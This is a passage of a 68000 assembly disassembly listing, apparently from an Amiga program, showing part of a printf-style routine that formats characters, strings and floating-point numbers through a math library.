  1139.     MOVEQ    #10,D5            ;0B24: 7A0A
  1140. LAB_00A1:
  1141.     MOVE.L    A6,16(A5)        ;0B26: 2B4E0010
  1142.     LEA    -34(A5),A2        ;0B2A: 45EDFFDE
  1143.     MOVEQ    #16,D0            ;0B2E: 7010
  1144.     ADDA.L    D0,A2            ;0B30: D5C0
  1145.     CLR.L    -46(A5)            ;0B32: 42ADFFD2
  1146.     TST.L    D3            ;0B36: 4A83
  1147.     BEQ.S    LAB_00A3        ;0B38: 6718
  1148.     MOVE.L    D6,D0            ;0B3A: 2006
  1149. LAB_00A2:
  1150.     MOVE.L    D5,D3            ;0B3C: 2605
  1151.     BSR    LAB_003C        ;0B3E: 6100FA68
  1152.     MOVE.L    D0,D1            ;0B42: 2200
  1153.     MOVE.B    0(A0,D3.L),-(A2)    ;0B44: 15303800
  1154.     ADDQ.L    #1,-46(A5)        ;0B48: 52ADFFD2
  1155.     OR.L    D2,D1            ;0B4C: 8282
  1156.     BNE.S    LAB_00A2        ;0B4E: 66EC
  1157.     BRA.S    LAB_00A4        ;0B50: 6010
  1158. LAB_00A3:
  1159.     DC.W    $4C45            ;0B52
  1160.     MOVE.L    D1,D0            ;0B54: 2001
  1161.     MOVE.B    0(A0,D1.L),-(A2)    ;0B56: 15301800
  1162.     ADDQ.L    #1,-46(A5)        ;0B5A: 52ADFFD2
  1163.     TST.L    D2            ;0B5E: 4A82
  1164.     BNE.S    LAB_00A3        ;0B60: 66F0
  1165. LAB_00A4:
  1166.     MOVE.L    (A4),D0            ;0B62: 2014
  1167.     ADDQ.L    #1,D0            ;0B64: 5280
  1168.     BEQ.S    LAB_00A8        ;0B66: 673E
  1169.     AND    #$FFFD,D7        ;0B68: CE7CFFFD
  1170.     BRA    LAB_00F9        ;0B6C: 60000498
  1171. LAB_00A5:
  1172.     CMP.B    #$63,D0            ;0B70: B03C0063
  1173.     BNE.S    LAB_00A6        ;0B74: 660E
  1174.     MOVE.B    3(A6),(A2)        ;0B76: 14AE0003
  1175.     ADDQ.L    #4,A6            ;0B7A: 588E
  1176.     MOVE.L    A6,16(A5)        ;0B7C: 2B4E0010
  1177.     BRA    LAB_00F3        ;0B80: 60000450
  1178. LAB_00A6:
  1179.     CMP.B    #$73,D0            ;0B84: B03C0073
  1180.     BNE.S    LAB_00A9        ;0B88: 6620
  1181.     MOVEA.L    (A6)+,A0        ;0B8A: 205E
  1182.     MOVE.L    A6,16(A5)        ;0B8C: 2B4E0010
  1183.     MOVEA.L    A0,A2            ;0B90: 2448
  1184.     MOVEQ    #-1,D0            ;0B92: 70FF
  1185. LAB_00A7:
  1186.     ADDQ.L    #1,D0            ;0B94: 5280
  1187.     TST.B    (A0)+            ;0B96: 4A18
  1188.     BNE.S    LAB_00A7        ;0B98: 66FA
  1189.     MOVE.L    D0,-46(A5)        ;0B9A: 2B40FFD2
  1190.     CMP.L    (A4),D0            ;0B9E: B094
  1191.     BLS.S    LAB_00A8        ;0BA0: 6304
  1192.     MOVE.L    (A4),-46(A5)        ;0BA2: 2B54FFD2
  1193. LAB_00A8:
  1194.     BRA    LAB_00F8        ;0BA6: 6000045C
  1195. LAB_00A9:
  1196.     CMP.B    #$65,D0            ;0BAA: B03C0065
  1197.     BLT.S    LAB_00AA        ;0BAE: 6D06
  1198.     CMP.B    #$67,D0            ;0BB0: B03C0067
  1199.     BLE.S    LAB_00AB        ;0BB4: 6F0E
  1200. LAB_00AA:
  1201.     CMP.B    #$45,D0            ;0BB6: B03C0045
  1202.     BEQ.S    LAB_00AB        ;0BBA: 6708
  1203.     CMP.B    #$47,D0            ;0BBC: B03C0047
  1204.     BNE    LAB_00F2        ;0BC0: 66000406
  1205. LAB_00AB:
  1206.     CLR.B    -97(A5)            ;0BC4: 422DFF9F
  1207.     CLR.B    -98(A5)            ;0BC8: 422DFF9E
  1208.     CLR.L    -46(A5)            ;0BCC: 42ADFFD2
  1209.     MOVE.L    A3,-354(A5)        ;0BD0: 2B4BFE9E
  1210.     MOVE.L    (A6)+,-96(A5)        ;0BD4: 2B5EFFA0
  1211.     MOVE.L    (A6)+,-92(A5)        ;0BD8: 2B5EFFA4
  1212.     MOVE.L    A6,16(A5)        ;0BDC: 2B4E0010
  1213.     LEA    -96(A5),A2        ;0BE0: 45EDFFA0
  1214.     LEA    -92(A5),A3        ;0BE4: 47EDFFA4
  1215.     MOVEA.L    mathbasstore,A6        ;0BE8: 2C79000017AC
  1216.     MOVE.L    (A2),D0            ;0BEE: 2012
  1217.     BCLR    #31,D0            ;0BF0: 0880001F
  1218.     MOVE.L    #$7FF00000,D4        ;0BF4: 283C7FF00000
  1219.     CMP.L    A2,D0            ;0BFA: B08A
  1220.     BNE.S    LAB_00AF        ;0BFC: 6626
  1221.     TST.L    4(A2)            ;0BFE: 4AAA0004
  1222.     BNE.S    LAB_00AF        ;0C02: 6620
  1223.     MOVE.L    (A2),D0            ;0C04: 2012
  1224.     MOVE.L    (A3),D1            ;0C06: 2213
  1225.     JSR    -48(A6)            ;0C08: 4EAEFFD0
  1226.     BLE.S    LAB_00AC        ;0C0C: 6F06
  1227.     LEA    LAB_0116(PC),A2        ;0C0E: 45FA04D0
  1228.     BRA.S    LAB_00AD        ;0C12: 6004
  1229. LAB_00AC:
  1230.     LEA    LAB_0117+1(PC),A2    ;0C14: 45FA04CF
  1231. LAB_00AD:
  1232.     MOVEQ    #4,D0            ;0C18: 7004
  1233. LAB_00AE:
  1234.     MOVE.L    D0,-46(A5)        ;0C1A: 2B40FFD2
  1235.     MOVEA.L    -354(A5),A3        ;0C1E: 266DFE9E
  1236.     BRA.S    LAB_00A8        ;0C22: 6082
  1237. LAB_00AF:
  1238.     MOVE.L    (A2),D0            ;0C24: 2012
  1239.     AND.L    D4,D0            ;0C26: C084
  1240.     CMP.L    D4,D0            ;0C28: B084
  1241.     BNE.S    LAB_00B1        ;0C2A: 6614
  1242.     DC.W    $E8D2            ;0C2C
  1243.     BTST    D1,(A4)            ;0C2E: 0314
  1244.     BNE.S    LAB_00B0        ;0C30: 6606
  1245.     TST.L    4(A2)            ;0C32: 4AAA0004
  1246.     BEQ.S    LAB_00B1        ;0C36: 6708
  1247. LAB_00B0:
  1248.     LEA    LAB_0118(PC),A2        ;0C38: 45FA04B0
  1249.     MOVEQ    #3,D0            ;0C3C: 7003
  1250.     BRA.S    LAB_00AE        ;0C3E: 60DA
  1251. LAB_00B1:
  1252.     MOVE.L    (A4),D0            ;0C40: 2014
  1253.     ADDQ.L    #1,D0            ;0C42: 5280
  1254.     BNE.S    LAB_00B2        ;0C44: 6604
  1255.     MOVEQ    #6,D0            ;0C46: 7006
  1256.     MOVE.L    D0,(A4)            ;0C48: 2880
  1257. LAB_00B2:
  1258.     MOVEA.L    LAB_0187,A1        ;0C4A: 2279000017B0
  1259.     MOVE.L    #$40240000,D4        ;0C50: 283C40240000
  1260.     MOVE.L    (A2),D0            ;0C56: 2012
  1261.     MOVE.L    (A3),D1            ;0C58: 2213
  1262.     JSR    -48(A6)            ;0C5A: 4EAEFFD0
  1263.     BGE.S    LAB_00B3        ;0C5E: 6C10
  1264.     MOVE.B    #$2D,-98(A5)        ;0C60: 1B7C002DFF9E
  1265.     MOVE.L    (A2),D0            ;0C66: 2012
  1266.     JSR    -60(A6)            ;0C68: 4EAEFFC4
  1267.     MOVE.L    D0,(A2)            ;0C6C: 2480
  1268.     BRA.S    LAB_00B7        ;0C6E: 6018
  1269. LAB_00B3:
  1270.     BTST    #4,D7            ;0C70: 08070004
  1271.     BEQ.S    LAB_00B4        ;0C74: 6704
  1272.     MOVEQ    #43,D0            ;0C76: 702B
  1273.     BRA.S    LAB_00B5        ;0C78: 6008
  1274. LAB_00B4:
  1275.     BTST    #3,D7            ;0C7A: 08070003
  1276.     BEQ.S    LAB_00B6        ;0C7E: 6706
  1277.     MOVEQ    #32,D0            ;0C80: 7020
  1278. LAB_00B5:
  1279.     MOVE.B    D0,-98(A5)        ;0C82: 1B40FF9E
  1280. LAB_00B6:
  1281.     MOVE.L    (A2),D0            ;0C86: 2012
  1282. LAB_00B7:
  1283.     MOVEQ    #0,D6            ;0C88: 7C00
  1284.     JSR    -48(A6)            ;0C8A: 4EAEFFD0
  1285.     BEQ.S    LAB_00BB        ;0C8E: 6772
  1286.     MOVE.L    (A2),D0            ;0C90: 2012
  1287.     JSR    -126(A1)        ;0C92: 4EA9FF82
  1288.     JSR    -30(A6)            ;0C96: 4EAEFFE2
  1289.     MOVE.L    D0,D6            ;0C9A: 2C00
  1290.     MOVE.L    (A2),D0            ;0C9C: 2012
  1291.     MOVE.L    (A3),D1            ;0C9E: 2213
  1292.     MOVE.L    #$3FF00000,D2        ;0CA0: 243C3FF00000
  1293.     MOVEQ    #0,D3            ;0CA6: 7600
  1294.     JSR    -42(A6)            ;0CA8: 4EAEFFD6
  1295.     BGE.S    LAB_00B9        ;0CAC: 6C28
  1296.     SUBQ.L    #1,D6            ;0CAE: 5386
  1297.     MOVE.L    D6,D0            ;0CB0: 2006
  1298.     NEG.L    D0            ;0CB2: 4480
  1299.     BSR.S    LAB_00B8        ;0CB4: 610A
  1300.     MOVE.L    (A2),D0            ;0CB6: 2012
  1301.     MOVE.L    (A3),D1            ;0CB8: 2213
  1302.     JSR    -78(A6)            ;0CBA: 4EAEFFB2
  1303.     BRA.S    LAB_00BA        ;0CBE: 6022
  1304. LAB_00B8:
  1305.     JSR    -36(A6)            ;0CC0: 4EAEFFDC
  1306.     MOVE.L    D0,D2            ;0CC4: 2400
  1307.     MOVE.L    D1,D3            ;0CC6: 2601
  1308.     MOVE.L    D4,D0            ;0CC8: 2004
  1309.     MOVEQ    #0,D1            ;0CCA: 7200
  1310.     JSR    -90(A1)            ;0CCC: 4EA9FFA6
  1311.     MOVE.L    D0,D2            ;0CD0: 2400
  1312.     MOVE.L    D1,D3            ;0CD2: 2601
  1313.     RTS                ;0CD4: 4E75
  1314. LAB_00B9:
  1315.     MOVE.L    D6,D0            ;0CD6: 2006
  1316.     BSR.S    LAB_00B8        ;0CD8: 61E6
  1317.     MOVE.L    (A2),D0            ;0CDA: 2012
  1318.     MOVE.L    (A3),D1            ;0CDC: 2213
  1319.     JSR    -84(A6)            ;0CDE: 4EAEFFAC
  1320. LAB_00BA:
  1321.     MOVE.L    D0,(A2)            ;0CE2: 2480
  1322.     MOVE.L    D1,(A3)            ;0CE4: 2681
  1323.     MOVE.L    #$3FF00000,D2        ;0CE6: 243C3FF00000
  1324.     MOVEQ    #0,D3            ;0CEC: 7600
  1325.     JSR    -42(A6)            ;0CEE: 4EAEFFD6
  1326.     BGE.S    LAB_00BB        ;0CF2: 6C0E
  1327.     MOVE.L    (A2),D0            ;0CF4: 2012
  1328.     MOVE.L    D4,D2            ;0CF6: 2404
  1329.     JSR    -78(A6)            ;0CF8: 4EAEFFB2
  1330.     MOVE.L    D0,(A2)            ;0CFC: 2480
  1331.     MOVE.L    D1,(A3)            ;0CFE: 2681
  1332.     SUBQ.L    #1,D6            ;0D00: 5386
  1333. LAB_00BB:
  1334.     MOVE.L    (A4),D0            ;0D02: 2014
  1335.     MOVE.B    -63(A5),D1        ;0D04: 122DFFC1
  1336.     CMP.B    #$66,D1            ;0D08: B23C0066
  1337.     BNE.S    LAB_00BC        ;0D0C: 6602
  1338.     ADD.L    D6,D0            ;0D0E: D086
  1339. LAB_00BC:
  1340.     CMP.B    #$67,D1            ;0D10: B23C0067
  1341.     BEQ.S    LAB_00BD        ;0D14: 6706
  1342.     CMP.B    #$47,D1            ;0D16: B23C0047
  1343.     BNE.S    LAB_00BE        ;0D1A: 6602
  1344. LAB_00BD:
  1345.     SUBQ.L    #1,D0            ;0D1C: 5380
  1346. LAB_00BE:
  1347.     MOVEQ    #16,D2            ;0D1E: 7410
  1348.     CMP.L    D2,D0            ;0D20: B082
  1349.     BLT.S    LAB_00BF        ;0D22: 6D02
  1350.     MOVEQ    #16,D0            ;0D24: 7010
  1351. LAB_00BF:
  1352.     BSR.S    LAB_00B8        ;0D26: 6198
  1353.     MOVE.L    #$3FE00000,D0        ;0D28: 203C3FE00000
  1354.     MOVEQ    #0,D1            ;0D2E: 7200
  1355.     JSR    -84(A6)            ;0D30: 4EAEFFAC
  1356.     MOVE.L    D0,D2            ;0D34: 2400
  1357.     MOVE.L    D1,D3            ;0D36: 2601
  1358.     MOVE.L    (A2),D0            ;0D38: 2012
  1359.     MOVE.L    (A3),D1            ;0D3A: 2213
  1360.     JSR    -66(A6)            ;0D3C: 4EAEFFBE
  1361.     MOVE.L    D0,(A2)            ;0D40: 2480
  1362.     MOVE.L    D1,(A3)            ;0D42: 2681
  1363.     MOVE.L    D4,D2            ;0D44: 2404
  1364.     MOVEQ    #0,D3            ;0D46: 7600
  1365.     JSR    -42(A6)            ;0D48: 4EAEFFD6
  1366.     BLT.S    LAB_00C0        ;0D4C: 6D0C
  1367.     MOVE.L    (A2),D0            ;0D4E: 2012
  1368.     JSR    -84(A6)            ;0D50: 4EAEFFAC
  1369.     MOVE.L    D0,(A2)            ;0D54: 2480
  1370.     MOVE.L    D1,(A3)            ;0D56: 2681
  1371.     ADDQ.L    #1,D6            ;0D58: 5286
  1372. LAB_00C0:
  1373.     MOVE.B    -63(A5),D0        ;0D5A: 102DFFC1
  1374.     CMP.B    #$67,D0            ;0D5E: B03C0067
  1375.     BEQ.S    LAB_00C1        ;0D62: 6706
  1376.     CMP.B    #$47,D0            ;0D64: B03C0047
  1377.     BNE.S    LAB_00C5        ;0D68: 6632
  1378. LAB_00C1:
  1379.     MOVE.L    D6,D0            ;0D6A: 2006
  1380.     CMP.L    (A4),D0            ;0D6C: B094
  1381.     BGE.S    LAB_00C2        ;0D6E: 6C0A
  1382.     ADDQ.L    #4,D0            ;0D70: 5880
  1383.     BLT.S    LAB_00C2        ;0D72: 6D06
  1384.     SUB.L    D6,(A4)            ;0D74: 9D94
  1385.     MOVEQ    #102,D0            ;0D76: 7066
  1386.     BRA.S    LAB_00C4        ;0D78: 6010
  1387. LAB_00C2:
  1388.     MOVE.B    -63(A5),D0        ;0D7A: 102DFFC1
  1389.     CMP.B    #$67,D0            ;0D7E: B03C0067
  1390.     BNE.S    LAB_00C3        ;0D82: 6604
  1391.     MOVEQ    #101,D0            ;0D84: 7065
  1392.     BRA.S    LAB_00C4        ;0D86: 6002
  1393. LAB_00C3:
  1394.     MOVEQ    #69,D0            ;0D88: 7045
  1395. LAB_00C4:
  1396.     MOVE.B    D0,-63(A5)        ;0D8A: 1B40FFC1
  1397.     SUBQ.L    #1,(A4)            ;0D8E: 5394
  1398.     BTST    #0,D7            ;0D90: 08070000
  1399.     BNE.S    LAB_00C5        ;0D94: 6606
  1400.     MOVE.B    #$01,-97(A5)        ;0D96: 1B7C0001FF9F
  1401. LAB_00C5:
  1402.     MOVE.L    (A4),D5            ;0D9C: 2A14
  1403.     ADDQ.L    #1,D5            ;0D9E: 5285
  1404.     MOVE.B    -63(A5),D0        ;0DA0: 102DFFC1
  1405.     CMP.B    #$66,D0            ;0DA4: B03C0066
  1406.     BNE.S    LAB_00C6        ;0DA8: 6602
  1407.     ADD.L    D6,D5            ;0DAA: DA86
  1408. LAB_00C6:
  1409.     CLR.L    -114(A5)        ;0DAC: 42ADFF8E
  1410.     BRA.S    LAB_00C8        ;0DB0: 603E
  1411. LAB_00C7:
  1412.     MOVE.L    (A2),D0            ;0DB2: 2012
  1413.     MOVE.L    (A3),D1            ;0DB4: 2213
  1414.     JSR    -30(A6)            ;0DB6: 4EAEFFE2
  1415.     MOVEQ    #48,D1            ;0DBA: 7230
  1416.     ADD.B    D0,D1            ;0DBC: D200
  1417.     MOVE.L    -114(A5),D0        ;0DBE: 202DFF8E
  1418.     ADDQ.L    #1,-114(A5)        ;0DC2: 52ADFF8E
  1419.     MOVE.B    D1,-34(A5,D0.L)        ;0DC6: 1B8108DE
  1420.     MOVE.L    (A2),D0            ;0DCA: 2012
  1421.     MOVE.L    (A3),D1            ;0DCC: 2213
  1422.     JSR    -30(A6)            ;0DCE: 4EAEFFE2
  1423.     DC.W    $49C0            ;0DD2
  1424.     JSR    -36(A6)            ;0DD4: 4EAEFFDC
  1425.     MOVE.L    D0,D2            ;0DD8: 2400
  1426.     MOVE.L    D1,D3            ;0DDA: 2601
  1427.     MOVE.L    (A2),D0            ;0DDC: 2012
  1428.     MOVE.L    (A3),D1            ;0DDE: 2213
  1429.     JSR    -72(A6)            ;0DE0: 4EAEFFB8
  1430.     MOVE.L    D4,D2            ;0DE4: 2404
  1431.     MOVEQ    #0,D3            ;0DE6: 7600
  1432.     JSR    -78(A6)            ;0DE8: 4EAEFFB2
  1433.     MOVE.L    D0,(A2)            ;0DEC: 2480
  1434.     MOVE.L    D1,(A3)            ;0DEE: 2681
  1435. LAB_00C8:
  1436.     MOVE.L    -114(A5),D0        ;0DF0: 202DFF8E
  1437.     CMP.L    D5,D0            ;0DF4: B085
  1438.     BCC.S    LAB_00C9        ;0DF6: 6406
  1439.     MOVEQ    #16,D1            ;0DF8: 7210
  1440.     CMP.L    D1,D0            ;0DFA: B081
  1441.     BCS.S    LAB_00C7        ;0DFC: 65B4
  1442. LAB_00C9:
  1443.     TST.B    -97(A5)            ;0DFE: 4A2DFF9F
  1444.     BEQ.S    LAB_00CC        ;0E02: 671C
  1445.     BRA.S    LAB_00CB        ;0E04: 6002
  1446. LAB_00CA:
  1447.     SUBQ.L    #1,(A4)            ;0E06: 5394
  1448. LAB_00CB:
  1449.     TST.L    (A4)            ;0E08: 4A94
  1450.     BEQ.S    LAB_00CC        ;0E0A: 6714
  1451.     MOVE.L    D5,D0            ;0E0C: 2005
  1452.     SUBQ.L    #1,D5            ;0E0E: 5385
  1453.     CMP.L    -114(A5),D0        ;0E10: B0ADFF8E
  1454.     BHI.S    LAB_00CA        ;0E14: 62F0
  1455.     MOVE.B    -34(A5,D5.L),D0        ;0E16: 103558DE
  1456.     CMP.B    #$30,D0            ;0E1A: B03C0030
  1457.     BEQ.S    LAB_00CA        ;0E1E: 67E6
  1458. LAB_00CC:
  1459.     MOVE.B    -63(A5),D0        ;0E20: 102DFFC1
  1460.     CMP.B    #$66,D0            ;0E24: B03C0066
  1461.     BNE.S    LAB_00CD        ;0E28: 660C
  1462.     MOVE.L    (A4),D0            ;0E2A: 2014
  1463.     ADDQ.L    #1,D0            ;0E2C: 5280
  1464.     MOVE.L    D6,D1            ;0E2E: 2206
  1465.     BLE.S    LAB_00CF        ;0E30: 6F18
  1466.     ADD.L    D6,D0            ;0E32: D086
  1467.     BRA.S    LAB_00CF        ;0E34: 6014
  1468. LAB_00CD:
  1469.     MOVE.L    (A4),D0            ;0E36: 2014
  1470.     ADDQ.L    #5,D0            ;0E38: 5A80
  1471.     MOVE.L    D6,D1            ;0E3A: 2206
  1472.     MOVEQ    #99,D3            ;0E3C: 7663
  1473.     CMP.L    D3,D1            ;0E3E: B283
  1474.     BGT.S    LAB_00CE        ;0E40: 6E06
  1475.     MOVEQ    #-99,D3            ;0E42: 769D
  1476.     CMP.L    D3,D1            ;0E44: B283
  1477.     BGE.S    LAB_00CF        ;0E46: 6C02
  1478. LAB_00CE:
  1479.     ADDQ.L    #1,D0            ;0E48: 5280
  1480. LAB_00CF:
  1481.     TST.L    (A4)            ;0E4A: 4A94
  1482.     BNE.S    LAB_00D0        ;0E4C: 6606
  1483.     BTST    #0,D7            ;0E4E: 08070000
  1484.     BEQ.S    LAB_00D1        ;0E52: 6702
  1485. LAB_00D0:
  1486.     ADDQ.L    #1,D0            ;0E54: 5280
  1487. LAB_00D1:
  1488.     TST.B    -98(A5)            ;0E56: 4A2DFF9E
  1489.     SNE    D1            ;0E5A: 56C1
  1490.     MOVEQ    #1,D3            ;0E5C: 7601
  1491.     AND.L    D3,D1            ;0E5E: C283
  1492.     MOVE.L    D0,D3            ;0E60: 2600
  1493.     ADD.L    D1,D3            ;0E62: D681
  1494.     CMP.L    -8(A5),D3        ;0E64: B6ADFFF8
  1495.     BCS.S    LAB_00D2        ;0E68: 6504
  1496.     MOVEQ    #0,D3            ;0E6A: 7600
  1497.     BRA.S    LAB_00D3        ;0E6C: 6008
  1498. LAB_00D2:
  1499.     MOVE.L    -8(A5),D0        ;0E6E: 202DFFF8
  1500.     SUB.L    D3,D0            ;0E72: 9083
  1501.     MOVE.L    D0,D3            ;0E74: 2600
  1502. LAB_00D3:
  1503.     TST.B    -98(A5)            ;0E76: 4A2DFF9E
  1504.     BEQ.S    LAB_00D4        ;0E7A: 6710
  1505.     BTST    #1,D7            ;0E7C: 08070001
  1506.     BEQ.S    LAB_00D4        ;0E80: 670A
  1507.     MOVE.B    -98(A5),D0        ;0E82: 102DFF9E
  1508.     DC.W    $49C0            ;0E86
  1509.     BSR    LAB_00E6        ;0E88: 610000B6
  1510. LAB_00D4:
  1511.     BTST    #2,D7            ;0E8C: 08070002
  1512.     BNE.S    LAB_00DA        ;0E90: 662A
  1513.     MOVEQ    #0,D2            ;0E92: 7400
  1514.     BRA.S    LAB_00D9        ;0E94: 6022
  1515. LAB_00D5:
  1516.     BTST    #1,D7            ;0E96: 08070001
  1517.     BEQ.S    LAB_00D7        ;0E9A: 6714
  1518.     MOVEQ    #48,D0            ;0E9C: 7030
  1519.     BRA.S    LAB_00D8        ;0E9E: 6012
  1520. LAB_00D6:
  1521.     CMP.L    -114(A5),D5        ;0EA0: BAADFF8E
  1522.     BCC.S    LAB_00DC        ;0EA4: 6440
  1523.     MOVE.B    -34(A5,D5.L),D0        ;0EA6: 103558DE
  1524.     DC.W    $49C0            ;0EAA
  1525.     ADDQ.L    #1,D5            ;0EAC: 5285
  1526.     BRA.S    LAB_00DD        ;0EAE: 6038
  1527. LAB_00D7:
  1528.     MOVEQ    #32,D0            ;0EB0: 7020
  1529. LAB_00D8:
  1530.     BSR    LAB_00E6        ;0EB2: 6100008C
  1531.     ADDQ.L    #1,D2            ;0EB6: 5282
  1532. LAB_00D9:
  1533.     CMP.L    D3,D2            ;0EB8: B483
  1534.     BCS.S    LAB_00D5        ;0EBA: 65DA
  1535. LAB_00DA:
  1536.     TST.B    -98(A5)            ;0EBC: 4A2DFF9E
  1537.     BEQ.S    LAB_00DB        ;0EC0: 670E
  1538.     BTST    #1,D7            ;0EC2: 08070001
  1539.     BNE.S    LAB_00DB        ;0EC6: 6608
  1540.     MOVE.B    -98(A5),D0        ;0EC8: 102DFF9E
  1541.     DC.W    $49C0            ;0ECC
  1542.     BSR.S    LAB_00E6        ;0ECE: 6170
  1543. LAB_00DB:
  1544.     MOVEQ    #0,D5            ;0ED0: 7A00
  1545.     MOVE.B    -63(A5),D0        ;0ED2: 102DFFC1
  1546.     CMP.B    #$66,D0            ;0ED6: B03C0066
  1547.     BNE.S    LAB_00E2        ;0EDA: 6644
  1548.     TST.L    D6            ;0EDC: 4A86
  1549.     BPL.S    LAB_00D6        ;0EDE: 6AC0
  1550.     MOVEQ    #48,D0            ;0EE0: 7030
  1551.     BSR.S    LAB_00E6        ;0EE2: 615C
  1552.     BRA.S    LAB_00DE        ;0EE4: 6008
  1553. LAB_00DC:
  1554.     MOVEQ    #48,D0            ;0EE6: 7030
  1555. LAB_00DD:
  1556.     BSR.S    LAB_00E6        ;0EE8: 6156
  1557.     SUBQ.L    #1,D6            ;0EEA: 5386
  1558.     BPL.S    LAB_00D6        ;0EEC: 6AB2
  1559. LAB_00DE:
  1560.     TST.L    (A4)            ;0EEE: 4A94
  1561.     BNE.S    LAB_00DF        ;0EF0: 6608
  1562.     BTST    #0,D7            ;0EF2: 08070000
  1563.     BEQ    LAB_00EE        ;0EF6: 670000B6
  1564. LAB_00DF:
  1565.     MOVEQ    #46,D0            ;0EFA: 702E
  1566.     BRA.S    LAB_00E1        ;0EFC: 6002
  1567. LAB_00E0:
  1568.     MOVEQ    #48,D0            ;0EFE: 7030
  1569. LAB_00E1:
  1570.     BSR.S    LAB_00E6        ;0F00: 613E
  1571.     MOVE.L    (A4),D0            ;0F02: 2014
  1572.     SUBQ.L    #1,(A4)            ;0F04: 5394
  1573.     TST.L    D0            ;0F06: 4A80
  1574.     BEQ    LAB_00EE        ;0F08: 670000A4
  1575.     ADDQ.L    #1,D6            ;0F0C: 5286
  1576.     BMI.S    LAB_00E0        ;0F0E: 6BEE
  1577.     CMP.L    -114(A5),D5        ;0F10: BAADFF8E
  1578.     BCC.S    LAB_00E0        ;0F14: 64E8
  1579.     MOVE.B    -34(A5,D5.L),D0        ;0F16: 103558DE
  1580.     DC.W    $49C0            ;0F1A
  1581.     ADDQ.L    #1,D5            ;0F1C: 5285
  1582.     BRA.S    LAB_00E1        ;0F1E: 60E0
  1583. LAB_00E2:
  1584.     MOVE.B    -34(A5,D5.L),D0        ;0F20: 103558DE
  1585.     DC.W    $49C0            ;0F24
  1586.     ADDQ.L    #1,D5            ;0F26: 5285
  1587.     BSR.S    LAB_00E6        ;0F28: 6116
  1588.     TST.L    (A4)            ;0F2A: 4A94
  1589.     BNE.S    LAB_00E3        ;0F2C: 6606
  1590.     BTST    #0,D7            ;0F2E: 08070000
  1591.     BEQ.S    LAB_00EA        ;0F32: 6744
  1592. LAB_00E3:
  1593.     MOVEQ    #46,D0            ;0F34: 702E
  1594.     BRA.S    LAB_00E9        ;0F36: 6036
  1595. LAB_00E4:
  1596.     DC.W    $4C41            ;0F38
  1597.     DC.W    $0801            ;0F3A
  1598. LAB_00E5:
  1599.     MOVEQ    #48,D0            ;0F3C: 7030
  1600.     ADD.L    D1,D0            ;0F3E: D081
  1601. LAB_00E6:
  1602.     MOVE.L    D0,-(A7)        ;0F40: 2F00
  1603.     MOVEA.L    8(A5),A0        ;0F42: 206D0008
  1604.     MOVE.L    A0,-(A7)        ;0F46: 2F08
  1605.     MOVEA.L    72(A0),A0        ;0F48: 20680048
  1606.     JSR    (A0)            ;0F4C: 4E90
  1607.     ADDQ    #8,A7            ;0F4E: 504F
  1608.     ADDQ.L    #1,D0            ;0F50: 5280
  1609.     BEQ    LAB_0114        ;0F52: 6700017E
  1610.     ADDQ.L    #1,-50(A5)        ;0F56: 52ADFFCE
  1611.     RTS                ;0F5A: 4E75
  1612. LAB_00E7:
  1613.     CMP.L    -114(A5),D5        ;0F5C: BAADFF8E
  1614.     BCC.S    LAB_00E8        ;0F60: 640A
  1615.     MOVE.B    -34(A5,D5.L),D0        ;0F62: 103558DE
  1616.     DC.W    $49C0            ;0F66
  1617.     ADDQ.L    #1,D5            ;0F68: 5285
  1618.     BRA.S    LAB_00E9        ;0F6A: 6002
  1619. LAB_00E8:
  1620.     MOVEQ    #48,D0            ;0F6C: 7030
  1621. LAB_00E9:
  1622.     BSR.S    LAB_00E6        ;0F6E: 61D0
  1623.     MOVE.L    (A4),D0            ;0F70: 2014
  1624.     SUBQ.L    #1,(A4)            ;0F72: 5394
  1625.     TST.L    D0            ;0F74: 4A80
  1626.     BNE.S    LAB_00E7        ;0F76: 66E4
  1627. LAB_00EA:
  1628.     MOVE.B    -63(A5),D0        ;0F78: 102DFFC1
  1629.     DC.W    $49C0            ;0F7C
  1630.     BSR.S    LAB_00E6        ;0F7E: 61C0
  1631.     TST.L    D6            ;0F80: 4A86
  1632.     BPL.S    LAB_00EB        ;0F82: 6A06
  1633.     MOVEQ    #45,D0            ;0F84: 702D
  1634.     NEG.L    D6            ;0F86: 4486
  1635.     BRA.S    LAB_00EC        ;0F88: 6002
  1636. LAB_00EB:
  1637.     MOVEQ    #43,D0            ;0F8A: 702B
  1638. LAB_00EC:
  1639.     BSR.S    LAB_00E6        ;0F8C: 61B2
  1640.     MOVEQ    #99,D0            ;0F8E: 7063
  1641.     CMP.L    D0,D6            ;0F90: BC80
  1642.     BLE.S    LAB_00ED        ;0F92: 6F0A
  1643.     MOVE.L    D6,D0            ;0F94: 2006
  1644.     MOVEQ    #100,D1            ;0F96: 7264
  1645.     DC.W    $4C41            ;0F98
  1646.     DC.W    $0800            ;0F9A
  1647.     BSR.S    LAB_00E5        ;0F9C: 619E
  1648. LAB_00ED:
  1649.     MOVE.L    D6,D0            ;0F9E: 2006
  1650.     MOVEQ    #10,D1            ;0FA0: 720A
  1651.     DC.W    $4C41            ;0FA2
  1652.     DC.W    $0800            ;0FA4
  1653.     BSR.S    LAB_00E4        ;0FA6: 6190
  1654.     MOVE.L    D6,D0            ;0FA8: 2006
  1655.     MOVEQ    #10,D1            ;0FAA: 720A
  1656.     BSR.S    LAB_00E4        ;0FAC: 618A
  1657. LAB_00EE:
  1658.     BTST    #2,D7            ;0FAE: 08070002
  1659.     BEQ.S    LAB_00F1        ;0FB2: 670E
  1660.     MOVEQ    #0,D2            ;0FB4: 7400
  1661.     BRA.S    LAB_00F0        ;0FB6: 6006
  1662. LAB_00EF:
  1663.     MOVEQ    #32,D0            ;0FB8: 7020
  1664.     BSR.S    LAB_00E6        ;0FBA: 6184
  1665.     ADDQ.L    #1,D2            ;0FBC: 5282
  1666. LAB_00F0:
  1667.     CMP.L    D3,D2            ;0FBE: B483
  1668.     BCS.S    LAB_00EF        ;0FC0: 65F6
  1669. LAB_00F1:
  1670.     MOVEA.L    -354(A5),A3        ;0FC2: 266DFE9E
  1671.     BRA.S    LAB_00F7        ;0FC6: 6038
  1672. LAB_00F2:
  1673.     CMP.B    #$25,D0            ;0FC8: B03C0025
  1674.     BNE.S    LAB_00F4        ;0FCC: 660C
  1675.     LEA    LAB_0115(PC),A2        ;0FCE: 45FA010E
  1676. LAB_00F3:
  1677.     MOVEQ    #1,D0            ;0FD2: 7001
  1678.     MOVE.L    D0,-46(A5)        ;0FD4: 2B40FFD2
  1679.     BRA.S    LAB_00F8        ;0FD8: 602A
  1680. LAB_00F4:
  1681.     CMP.B    #$6E,D0            ;0FDA: B03C006E
